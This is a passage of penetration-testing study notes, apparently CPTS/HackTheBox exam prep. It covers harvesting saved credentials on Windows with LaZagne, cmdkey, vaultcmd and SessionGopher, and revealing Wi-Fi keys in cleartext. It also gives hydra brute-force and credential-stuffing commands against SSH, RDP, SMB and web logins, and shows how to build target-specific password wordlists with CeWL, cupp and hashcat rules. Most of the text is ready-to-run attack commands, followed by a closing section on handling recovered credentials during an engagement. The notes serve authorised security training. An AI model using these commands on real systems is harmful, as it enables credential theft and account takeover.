What to look for: password managers, browser vaults, saved RDP/WinSCP/PuTTY sessions, Credential Manager — all cheaper than cracking.

Extract:

start LaZagne.exe all                    :: WinSCP, FileZilla, browsers, RDP mgr, Git, Wi-Fi — dozens of apps
cmdkey /list                             :: enumerated Credential Manager blobs
vaultcmd /listcreds:"Windows Credentials" /all

:: saved-cred reuse without knowing the password:
runas /savecred /user:%DOMAIN%\svc-backup "cmd.exe"     :: only works if cred was saved WITH /savecred

:: Wi-Fi profiles hold cleartext PSKs:
netsh wlan show profile
netsh wlan show profile name="CorpWifi" key=clear      :: Key Content = plaintext PSK

[!tools] Stage this LaZagne.exe (SHA-256 · GPG signature)

# KeePass DB → master password (mode row 13400 is in §2's table)
keepass2john Database.kdbx > kp.hash     # add the -k <keyfile> path if a keyfile is required
# DPAPI: pypykatz/LSASS hands you the user's masterkey → decrypt Chrome/RDP/CredMan blobs (§DPAPI above)

Saved-session hunting — SessionGopher pulls PuTTY/WinSCP/FileZilla/SuperPuTTY saved sessions (often with plaintext or trivially-decryptable passwords) from a host or across the domain:

Invoke-SessionGopher -Target SQL01 -u "$U" -p "$P" -Domain $DOMAIN    # remote over WMI/SMB

[!tip] Hunt before you crack LaZagne + Credential Manager routinely beat a GPU on time-to-first-cred. On opsec-sensitive boxes prefer GhostPack SeatBelt/SharpChrome over LaZagne’s loud “run everything”. A KeePass .kdbx with no crackable master is still worth grabbing — the DPAPI masterkey from LSASS may unlock it. Full app list: 7 - Credential Hunting in Windows.


🔨 Network-service brute-force matrix (hydra)

What to look for: an exposed auth surface with no lockout policy (confirm first — §0). Use a validated user list + a targeted/mutated password list. This is the loud, online counterpart to cracking a captured hash.

Attack (per service):

hydra -L users.txt -P pass.txt ssh://$IP -t 4                      # SSH (drop -t if conns fail)
hydra -L users.txt -P pass.txt ftp://$IP
hydra -L users.txt -P pass.txt rdp://$IP -t 1 -W 3                 # RDP: slow/noisy by design, throttle
hydra -L users.txt -P pass.txt smb://$IP                          # SMB (see fallback below)
hydra -l admin  -P pass.txt $IP http-get /admin                   # HTTP Basic-auth
hydra -l admin  -P pass.txt $IP http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=incorrect"                # HTTP form (F= a failure string)
hydra -C user_pass.txt ssh://$IP                                  # credential STUFFING: user:pass combo file
# hydra chokes on SMBv3 ("invalid reply from target") → use nxc or Metasploit, which speak modern dialects
nxc smb $IP -u users.txt -p pass.txt                              # add --no-bruteforce to pair line-by-line
msf6 > use auxiliary/scanner/smb/smb_login          # set user_file/pass_file/rhosts; STOP_ON_SUCCESS, BRUTEFORCE_SPEED
# validated logins → interact:
evil-winrm -i $IP -u "$U" -p "$P"              # (Pwn3d!) on winrm = code exec
smbclient -U "$U" "//$IP/SHARENAME"            # xfreerdp /v:$IP /u:"$U" /p:"$P" for RDP

[!warning] Watch out Every failed guess writes an event (SMB/RDP → 4625, spikes fast) and a real lockout policy will lock the account, not just fail — brute force is the opposite of §5’s careful one-password spray. -C (combo/stuffing) with a DefaultCreds list is quieter and higher-hit-rate than a full -L×-P cross-product — start there. A (Pwn3d!) on WinRM but a “not active for remote desktop” on RDP means the cred is still good for SMB/WinRM — don’t discard a partial hit. Modern hydra can’t parse SMBv3; keep nxc/smb_login as the fallback.


🧬 Wordlist & rule crafting (feed the crackers something that actually hits)

What to look for: policy-compliant human passwords = a short base word + predictable mutation (capitalise, leet, append a year/!). Don’t blind-brute a ?a?a?a… mask — mutate a targeted base list instead.

Stock wordlists (know your paths):

/usr/share/wordlists/rockyou.txt.gz                      # 14.3M real leaked passwords — the default
gunzip /usr/share/wordlists/rockyou.txt.gz
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt   # xato frequency-ranked
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv   # device defaults

Lists live in SecLists; the xato-net set is frequency-ranked so the top of the file hits first.

Build the base list + mutate:

# harvest a company-specific base list straight off their site
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w base.wordlist   # depth 4, min-len 6
cupp -i          # interactive: target-specific list from a person's details (kids, pets, dates)

# author a custom rule file (one rule per line, applied to every base word)
cat custom.rule
#  :            do nothing            u   uppercase all
#  c            Capitalise first      sXY replace X→Y   (e.g. so0  sa@)
#  $!           append '!'            ^1  prepend '1'
#  c so0 $!     chain: Cap + o→0 + append !

# generate the mutated list WITHOUT cracking (--stdout = pure generator)
hashcat --force base.wordlist -r custom.rule --stdout | sort -u > mutated.list
wc -l mutated.list          # feed mutated.list straight into a crack or a spray

# or lean on the shipped rulesets (best coverage-to-runtime = targeted base × best64)
ls /usr/share/hashcat/rules/     # best64  d3ad0ne  dive  leetspeak  rockyou-30000  toggles*
hashcat -m 1000 -a 0 hashes.txt base.wordlist -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 -a 0 hashes.txt base.wordlist -r OneRuleToRuleThemAll.rule   # big, slow, thorough

Rules ladder: best64 (fast, 64 rules) → dive (heavy) → OneRuleToRuleThemAll (exhaustive, hours on GPU). Base-list builders: CeWL, cupp.

[!tip] --stdout is a free, disposable wordlist factory hashcat … -r rules --stdout emits candidates instead of cracking — perfect for generating a spray list, previewing what a rule set does, or piping into another tool. A tiny custom .rule on a CeWL base list reliably out-produces rockyou against real corp passwords; best64.rule is the strongest general-purpose default before reaching for dive/rockyou-30000. Rule reference + more functions: 3 - Password Mutations & Wordlist Attacks, hashcat-cheatsheet.

[!note] Base-list sources CeWL (target’s own website), the org’s blacklist terms in reverse (company name + season + year — Inlanefreight2026! is technically compliant), and username-anarchy output (§4) all make better base words than a generic dump. Mangle those with rules; save raw ?a masks for when you know the structure.


🧹 Policy-Filter a Wordlist Before You Spray

What to look for → you profiled a target and generated a big candidate list (CUPP can emit ~46,000 for one person). Don’t waste a Hydra run on passwords the domain policy would reject — trim to policy-compliant first.

# keep only: ≥6 chars, has upper, has lower, has digit, ≥2 special chars
grep -E '^.{6,}$' list.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' \
  | grep -E '([!@#$%^&*].*){2,}' > filtered.txt          # 46,790 → ~7,900
hydra -L users.txt -P filtered.txt $IP http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid"

[!tip] The ([class].*){2,} quantifier is the idiom for “at least N chars from a set”. Derive the username convention first (theHarvester + exiftool on public PDFs → first.last/flast) so -L isn’t a blind permutation. Deep dive: 7 - Custom Wordlists.


🧾 Credential handling & OPSEC (hand-off to reporting)

What to look for: every cracked/found credential is client data with blast radius — treat it like evidence, not notes.

  • Vault immediately: recovered creds go into the engagement secrets store (dedicated vault, e.g. an encrypted KeePassXC DB or the team password manager), never plaintext into Obsidian notes, screenshots, or the report. In the System Modifications Log record Password: <REDACTED> (Stage 11).
  • Report hashes, not passwords: the Domain Password Analysis appendix reports statistics (cracked %, top patterns); individual cracked passwords appear truncated (Summer…!) or not at all.
  • Track provenance: which host/share/DC each cred came from — you cannot write remediation for “password reuse” without knowing where it was stored in cleartext.
  • Disclose + rotate: every credential you recovered was, by definition, exposed — it goes on the client disclosure list for forced rotation at close-out (Stage 11 cleanup).

[!tip] CPTS exam tip In the exam, passwords are flags, so capture them — but still practise the real-world discipline: note host + source + timestamp for every cred, keep one authoritative cred table per domain, and never spray a found password domain-wide without re-checking §0’s policy (found creds are often service accounts with stricter PSO lockouts).


[!navigation] Continue the attack flow Previous: Stage 07 — ADCS and Certificate Abuse

Dashboard: HTB Pentest Attack Flow

Next: Stage 09 — Privilege Escalation